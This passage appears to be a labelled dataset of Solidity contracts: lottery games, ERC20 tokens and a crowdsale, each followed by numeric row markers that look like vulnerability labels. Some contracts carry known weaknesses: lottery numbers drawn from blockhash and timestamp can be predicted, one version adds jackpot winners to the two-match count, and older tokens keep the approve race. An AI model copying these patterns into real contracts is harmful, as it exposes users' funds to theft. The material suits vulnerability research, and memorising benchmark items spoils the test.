mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 898 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
uint public totalSupply = 0;
modifier canMint() {
if(mintingFinished) throw;
_;
}
function mint(address _to, uint _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
if (paused) throw;
_;
}
modifier whenPaused {
if (!paused) throw;
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused {
super.transferFrom(_from, _to, _value);
}
}
contract OcularToken is PausableToken, MintableToken {
using SafeMath for uint256;
string public name = "Ocular Coin";
string public symbol = "OCULR";
uint public decimals = 18;
} | 1 | 3,105 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address payable public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address payable _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public ;
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic, Ownable{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value)
public
onlyPayloadSize(2 * 32)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
event Burn(address indexed from, uint256 value);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
onlyPayloadSize(3 * 32)
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract NineNineExToken is StandardToken {
using SafeMath for uint256;
string constant public name = "99Ex Token";
string constant public symbol = "99B";
uint8 constant public decimals = 18;
uint public totalSupply = 20*10**26;
event PaymentReceived(address _from, uint256 _amount);
constructor(address _wallet) public {
balances[_wallet] = totalSupply;
emit Transfer(address(0), _wallet, totalSupply);
}
function burn(uint256 _value) public returns (bool)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function withdrawEther(uint256 _amount) public onlyOwner {
owner.transfer(_amount);
}
function () external payable {
emit PaymentReceived(msg.sender, msg.value);
}
} | 1 | 3,656 |
pragma solidity ^0.5.4;
contract SmartLotto {
using SafeMath for uint;
struct Member {
address addr;
uint ticket;
uint8[5] numbers;
uint prize;
uint8 payout;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint p2;
uint p3;
uint p4;
uint p5;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 15;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event PayOut(uint _gamenum, uint _ticket, uint _prize, uint8 _payout);
uint private constant POOL_SIZE = 30;
uint private POOL_COUNTER = 0;
uint private w2 = 0;
uint private w3 = 0;
uint private w4 = 0;
uint private w5 = 0;
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(games[GAME_NUM].status == 1) {
processGame();
} else {
games[GAME_NUM].status = 1;
}
}
}
function processGame() private {
uint8[5] memory win_numbers;
uint8 mn = 0;
if(POOL_COUNTER == 0) {
w2 = 0;
w3 = 0;
w4 = 0;
w5 = 0;
for(uint8 i = 0; i < 5; i++) {
win_numbers[i] = random(i);
}
win_numbers = sortNumbers(win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(win_numbers[i] == win_numbers[j]) {
win_numbers[j]++;
}
}
}
games[GAME_NUM].win_numbers = win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
} else {
win_numbers = games[GAME_NUM].win_numbers;
}
uint start = POOL_SIZE * POOL_COUNTER + 1;
uint end = POOL_SIZE * POOL_COUNTER + POOL_SIZE;
if(end > games[GAME_NUM].membersCounter) end = games[GAME_NUM].membersCounter;
uint _w2 = 0;
uint _w3 = 0;
uint _w4 = 0;
uint _w5 = 0;
for(uint i = start; i <= end; i++) {
mn = findMatch(win_numbers, games[GAME_NUM].members[i].numbers);
if(mn == 2) { _w2++; continue; }
if(mn == 3) { _w3++; continue; }
if(mn == 4) { _w4++; continue; }
if(mn == 5) { _w5++; }
}
if(_w2 != 0) { w2 += _w2; }
if(_w3 != 0) { w3 += _w3; }
if(_w4 != 0) { w4 += _w4; }
if(_w5 != 0) { w2 += _w5; }
if(end == games[GAME_NUM].membersCounter) {
uint totalFund = games[GAME_NUM].totalFund;
uint fund2 = totalFund * PERCENT_FUND_2 / 100;
uint fund3 = totalFund * PERCENT_FUND_3 / 100;
uint fund4 = totalFund * PERCENT_FUND_4 / 100;
uint _jackpot = JACKPOT + totalFund * PERCENT_FUND_JACKPOT / 100;
if(w2 != 0) {
games[GAME_NUM].p2 = fund2 / w2;
} else {
_jackpot += fund2;
}
if(w3 != 0) {
games[GAME_NUM].p3 = fund3 / w3;
} else {
_jackpot += fund3;
}
if(w4 != 0) {
games[GAME_NUM].p4 = fund4 / w4;
} else {
_jackpot += fund4;
}
if(w5 != 0) {
games[GAME_NUM].p5 = _jackpot / w5;
JACKPOT = 0;
start_jackpot_amount = 0;
} else {
JACKPOT = _jackpot;
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
emit NewGame(GAME_NUM);
POOL_COUNTER = 0;
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
} else {
POOL_COUNTER++;
}
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
if(msg.value == 0) {
uint payoutAmount = 0;
for(uint i = 1; i <= GAME_NUM; i++) {
Game memory game = games[i];
if(game.win_numbers[0] == 0) { continue; }
for(uint j = 1; j <= game.membersCounter; j++) {
Member memory member = games[i].members[j];
if(member.payout == 1) { continue; }
uint8 mn = findMatch(game.win_numbers, member.numbers);
if(mn == 2) {
games[i].members[j].prize = game.p2;
payoutAmount += game.p2;
}
if(mn == 3) {
games[i].members[j].prize = game.p3;
payoutAmount += game.p3;
}
if(mn == 4) {
games[i].members[j].prize = game.p4;
payoutAmount += game.p4;
}
if(mn == 5) {
games[i].members[j].prize = game.p5;
payoutAmount += game.p5;
}
games[i].members[j].payout = 1;
emit PayOut(i, j, games[i].members[j].prize, 1);
}
}
if(payoutAmount != 0) msg.sender.transfer(payoutAmount);
return;
}
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 && POOL_COUNTER == 0 ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(err) {
for(uint8 i = 0; i < 5; i++) {
numbers[i] = random(i);
}
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(numbers[i] == numbers[j]) {
numbers[j]++;
}
}
}
}
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length - 1; i++) {
for(uint8 j = i + 1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8((uint(blockhash(block.number - 1 - num*2)) + now) % MAX_NUMBER + 1);
}
function getGameInfo(uint i) public view returns (uint, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint, uint, uint, uint) {
Game memory game = games[i];
return (game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status, game.p2, game.p3, game.p4, game.p5);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint, uint8) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize, mbr.payout);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,803 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
